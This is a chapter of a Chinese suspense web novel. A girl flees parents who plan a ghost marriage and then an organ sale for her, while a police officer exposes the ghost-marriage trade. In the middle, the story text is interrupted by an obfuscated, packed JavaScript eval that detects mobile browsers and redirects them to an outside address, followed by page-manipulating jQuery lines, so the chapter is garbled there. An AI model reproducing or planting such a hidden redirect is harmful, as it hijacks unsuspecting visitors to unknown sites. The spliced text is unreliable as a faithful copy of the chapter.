19. 凶手出现(九)
作品:《看不见的凶手》 暴雨毫无征兆地倾盆而下。
陈珂悄悄起身,走到窗户旁。窗外的世界被雨水浸泡得模糊,霓虹灯光在湿漉漉的玻璃上晕染成彩色色块,像被水稀释的油画颜料。雨声时而急促如鼓点,时而绵密如私语,与床头柜上的闹钟的滴答声形成奇妙的二重奏。
客厅里陈宇和丁喜交谈的声音还在继续。陈珂走到一旁的衣柜处,小心翼翼地打开了柜子,取出一件外套穿上。她打开了窗户,瞬间一股大风卷着雨吹进了屋子里。陈珂抹了下脸上的雨,爬上了窗台,小心翼翼地翻越出去。窗外的台子有积水,陈珂脚下一滑,差点儿摔倒,她紧紧地扒着窗户,好一会儿才站稳,等站稳了,关上窗户,贴着窗台走着,走到隔壁邻居家的阳台上后,从他家阳台慢慢翻越到一楼。
快到一楼时,陈珂的手一滑,“咚”的一声落在了地上,陈珂全身湿透了,嘴里狠狠地喝了一口地上的积水。
陈珂赶忙站起身,胡乱抹了下脸上的雨水,四周看着,确定没人看见自己,朝着巷子尽头跑去。
暴雨天的雨水,顺着地势低的地方流去,最终由下水井盖处流向地下。
陈珂瘦小的身影在滂沱大雨中踉跄前行,她的卡通拖鞋拍打着积水四溅的路面,发梢甩出的水珠与暴雨交织成银线。
突然,湿滑的井盖在脚下旋转,她重重地倒在地上,膝盖撞击铁质井盖的闷响被雷声吞没。泥水瞬间浸透她的全身,掌心在粗糙的地面上擦出红痕。
她挣扎着撑起身体时,看见倒映在积水中的路灯扭曲成金色的漩涡,陈珂眼睛一模糊,晕了过去。
-
陈珂迷迷糊糊醒来时,已经是第二天的白天了,她发现自己身处病房,病房里弥漫着消毒水的味道,
“你醒了。”丁喜站在床尾处,目不转睛地看着陈珂。
“妈妈。”陈珂的语气有些战战兢兢。
“昨晚下着雨,你怎么大晚上跑出去玩?我们找到你的时候,你已经晕倒在路上了,如果我和你爸昨晚没去你的房间,你在雨里浇一夜,恐怕已经被雨浇死了。”
陈珂心中不免暗想:浇死了不是更好,省的你们动手了。
丁喜一早去食堂打了饭菜,这会儿看陈珂醒了,打开保温盒子,一勺一勺喂陈珂吃饭。
陈珂看着丁喜如此耐心对自己,怎么也不会将她和昨晚那个要杀了自己配阴婚的妈妈联系在一起。
丁喜见陈珂看着自己愣神,问陈珂:“怎么了?食堂的饭菜不合胃口么?等下妈妈回家给你做饭,做好了拿过来。”
陈珂鼻子有些泛酸,眼睛里泛着泪水:“妈妈,我......”
丁喜摸摸陈珂的额头:“怎么了?珂珂。”
陈珂破涕为笑,“妈,谢谢你救了我。”
丁喜又喂陈珂吃了一口营养粥,“不止妈妈,还有你爸爸,昨晚是你爸爸背着你来的医院。”
“爸爸。”陈珂喃喃自语着,阴婚的事情不就是“爸爸”要进行的事情么,他怎么会这么好心呢?
“妈,我有点累了,想睡会儿。”
“好,你睡吧,我先出去了。”丁喜将饭盒放在床头柜上,给陈珂掖了下被角后,出了去。
陈珂突然有点恍惚,仿佛自己昨晚做了一个梦,爸爸妈妈没有要将自己配阴婚。昨晚的一切会是自己的错觉吗?不,不是。
陈珂有点累,在吃了早饭后,她又睡了会儿。中午的时候,陈宇过来医院了,带来了一些陈珂平日里喜欢吃的零食和水果,还把家里的一个毛绒玩具也拿过来了。
陈珂醒了之后看见陈宇在病房里,有些害怕,但表面上并没有表现出什么,“爸爸,您今天不用去租赁站么?”
“我把租赁站关门了,过两天再开。”
陈珂注意到了床头柜上放着的食物,注意到了病床上放着的毛绒玩具。
陈宇跟她解释了原因,“你昨天跑出去玩,呛了水,医生说得住两天院,你放心,你妈妈已经跟班主任给你请假了。”
“哦。”陈珂淡淡地应了声。陈宇和丁喜竟然都没有因为下雨天她跑出去发脾气。他俩今天的态度,仿佛昨天在客厅里讨论的配阴婚的事情没有发生过一样。
晚上的时候,丁喜陪夜。
过了十点,丁喜关了房间里的大灯,只留厕所处的一盏小灯。她给陈珂倒了一杯热水,给陈珂掖了下被角。看着陈珂熟睡的模样,她轻轻唤了声:“珂珂,珂珂?”
陈珂熟睡中的样子十分恬静。
丁喜见陈珂睡着了,蹑手蹑脚地出了房门,将房门轻掩上了。
听见关门声,陈珂睁开眼,静静地等了一会儿,她悄然起身,轻手轻脚地走到门口处,打开门,看着走廊里。
走廊里空无一人,可以看到不远处护士站亮着灯。
陈珂利用身高优势,猫着腰,朝着走廊尽头的吸烟区走去。
不出她所料,陈宇和丁喜果然在这里。陈珂只是偷偷看了一眼,便猫着腰,只露出一只眼睛看着楼梯口的“爸妈”。看他俩的神情,似欣喜,似放松。
“她昨天晚上该不会听见什么了吧?”是丁喜的声音。
“肯定听到了,不然不会大半夜冒着雨跑出去。”陈宇的语气透露着不屑,丝毫不慌张的样子。
陈珂的小脚丫踩在冰凉的地面上,冻得有些发紫,但她此刻却丝毫感觉不到凉。心凉早已经覆盖住脚凉。
陈宇今天之所以态度发生一百八十度大转弯,是因为一早他接到了一个很重要的电话。此前他给一家三口登记了器官|捐献,早上一家医院的负责人打电话给陈宇,希望陈宇带着陈珂给一个富人家的小孩做配型。陈宇的心思都在给陈珂安排阴婚的事情上,所以一口回绝了医院的请求。岂料医院告诉陈宇,富商说了,如果陈珂和他女儿配型成功,富商愿意支付两百万的酬劳。
配阴婚是一百万,和富商女儿匹配肾脏是两百万,陈宇立刻改了主意,告诉负责人,他这两天就带着陈珂去和富商的女儿做配型。
丁喜得知了陈宇的态度转变,倒没有显得吃惊,毕竟在陈宇心里,陈珂早晚都得死。
陈珂靠在墙上,静静地听着陈宇和丁喜在吸烟区的低声讨论,努力克制着自己不要哭出来。
除了听到陈宇要将自己给有钱人家的小孩做配型,陈珂还听到了另一件咋舌的事情。陈宇想重操旧业,拐卖小孩,将小孩的器官卖给医院。
丁喜经历了1993年幼儿园纵火案、1995年信用社黄金大劫案,不想再经历惊心动魄的事情了,纵然之前赚了不少钱,但是经过一次金融危机,他们已经穷得叮当响。丁喜觉得,或许他们就不该是发横财的人,一辈子安安稳稳的就很好。这五年来她没睡过几个好觉,总是在半夜做梦,梦见警察上门来抓他们,每次梦醒,她都是浑身大汗。
可陈宇却不这样觉得,通过陈珂可以配阴婚、可以给富人家小孩匹配器官,让他想到一个完美的利益链。他认为凭借他的聪明才智,一定可以发大财,他不甘心一直寂寂无名、碌碌无为。
-
连淮一家三口也登记过器官捐献,富商家小孩除了跟他女儿连婷婷匹配之外,还和陈珂匹配。富商除了让手下联系了陈珂的监护人,也联系了连淮。
连淮昨天告诉了联系人,女儿已经在1995年过世了,不能配合他们做肾脏匹配。
岂料今天一早又联系连淮了,富商家希望连淮能够做下肾脏匹配,如果匹配成功,希望他能够救救病人,到时候将会给他两百万感谢费。
连淮对于金钱没什么概念,没了老婆和女儿,他只要能填饱肚子就行。两百万和两百块对他的诱惑没任何区别。
但当连淮听说富商家小孩和连婷婷一样大时,他动了恻隐之心,答应了去往医院做肾脏匹配。
事不宜迟,富商家的负责人立刻约了医院时间,希望尽早安排匹配检查。
连淮特地跟警局请了一天假,到医院进行检查。
富商家的负责人董助理一早就在医院门口等着连淮了,他本想去连淮家里接连淮,但连淮不想任何人知道自己家的位置,所以没告诉董助理。
到了医院门口,两人见了面,立刻前往主治医生的办公室。
一路上,董助理和连淮点头哈腰地没话找话。到了医生的办公室,立刻安排连淮和富商的女儿做血型匹配。
连淮做完后,医生告诉他要几天后出结果,结果出来后会立刻告诉他。
连淮问了医生是否还有其他肾源待选的人?
医生和董助理对视了一眼,尴尬地笑笑,“这个嘛,保密,恕我不能和连先生说。”
连淮掏出警官证,说:“我是警察,只是想了解病人的治疗信息,没有别的企图。”
医生看了眼董助理,董助理说:“告诉连警官吧。”
医生如实相告,有一个八岁的女孩也在甄选名单之中,两天后出来结果,到时候会知道谁最合适做手术。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656108|188291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>连淮有些吃惊,竟然是个八岁的女孩做肾源匹配?如果匹配成功,就要面临摘掉一个肾,她爸妈竟然如此狠心。
因医院有规定,不能透露病人的具体信息,所以连淮查探不到小女孩的相关信息。
此刻陈珂躲在走廊里,静静地看着连淮在做肾源匹配,知道连淮和自己一样,都是肾源的待选者。她听到连淮自报家门是警察时,一个计划在心里陡然而生。
陈珂如今在陈宇和丁喜的严密监视下,她离不开医院,只能想计策,不让自己置身于危险之中。
晚上连淮回到家时,小区的王阿婆突然找上门来。
连淮开了门,挡在门口,不想迎王阿婆进门,“王阿婆,您有事就站在门外说吧。”连淮听小区里的人说过,王阿婆背地里做一些“见不得人”的事情,说是“见不得人”,其实离犯法也就不远了。
王阿婆今年快七十了,她唯一的儿子很小就死了,老伴也在几年前去世了,自从老伴去世后,她没了经济来源,这才干上了帮人配阴婚的事情,成交一单她可以赚一万块钱,能保证她一年的吃喝拉撒。
王阿婆咧开嘴,露出嘴里仅剩下的两颗牙,“连警官,我想进去和您说说话。”
家里客厅里陈列着老婆和女儿的照片,连淮实在不想让生人进去,但看见王阿婆可怜兮兮的样子,连淮动了恻隐之心,侧开身子,让王阿婆进去。
连淮关了门,换了鞋,给王阿婆倒了一杯水。
王阿婆有些拘谨,没敢坐下,佝偻着身子站在门口,面露难色。
连淮将水杯递到王阿婆手上,“您过来坐吧。”
王阿婆走过去坐下,喝了口水,将水杯放在茶几上,抿了下嘴,“连警官,我今天过来找你是有事和您商量,这个事,我不知道怎么开口,希望我接下来说什么,您都别生气,别轰我出去,也别报警抓我。”
连淮犹如看犯人一样看着王阿婆,“那倒要看看您要和我说什么事情了。”
“我......”王阿婆三缄其口,抬头看了眼连淮,越发心虚了。
“说吧。”连淮语气冰冷。
“我自从老伴死了之后,没有经济来源,一直都是好心的邻居帮忙送口吃的,但我不想一直给邻居们添麻烦,所以我最近一年帮忙配阴婚。前几天有个富商家的儿子死了,我看了最近死的小女孩们的生辰八字,没有和他儿子相匹配的,倒是你闺女的八字和他儿子匹配。”
连淮心痛得差点儿晕过去,他没想到王阿婆要给女儿配阴婚。
“我对您从事的事情略有耳闻,我知道您生活不易,但想奉劝您一句,这种事情损伤阴德,您还是少从事为妙。我女儿已经入土为安,我并不想为女儿配阴婚。”
王阿婆来了兴致和连淮介绍配阴婚的种种好处,还特地告诉连淮,如果肯点头让连婷婷和那家富公子配阴婚,人家愿意出一百万的好处费。
“滚!”
连淮怒吼一声,吓得王阿婆一哆嗦,她颤颤巍巍地站起身,仍劝解连淮:“连警官,逝者已逝,我们活着的人也得为自己想想,我也是过来人,知道您难过,所以劝您看在钱的面子上,想开点。”
“滚!”
连淮又吼了一声,王阿婆灰溜溜地走了。
听到关门声,连淮眼角的泪水终于倾泻出来。无论买家给一百万、一千万,还是一个亿,他都不会让女儿给一个陌生的男人去配阴婚。
连淮身为一名警察,既然知道了配阴婚这条产业链的存在,就不能漠然处之,他立刻汇报给了局里。局里立刻派人侦查王阿婆所进行的阴婚产业链。
查处了最近成交的几笔交易,惩治了利益链上的几个人。
连淮在审查那个富商儿子匹配的几条阴婚信息时,发现有陈珂的生辰八字,其他人都写有何时生、何时死。唯有陈珂有生的时辰,没有死的时辰。连淮不禁怀疑,该不会这个叫陈珂的还没死吧?
连淮不禁为自己的这个大胆猜测唏嘘,更将此事和那个匹配富家女肾源的小女孩联系在一起。“这两个孩子的父母都掉进了钱眼里了,毫无亲情可言。”
他不知道,这两件事的主体人,都是陈珂。
陡然间,连淮记起,配阴婚的陈珂的生辰八字居然和1993年幼儿园纵火案里死者可可的生辰八字一模一样。珂珂,可可?连淮怀疑,陈珂是当年火场中死掉的可可。
这个念头只是在他脑海中闪了那么一下,他苦笑着认为自己想多了。

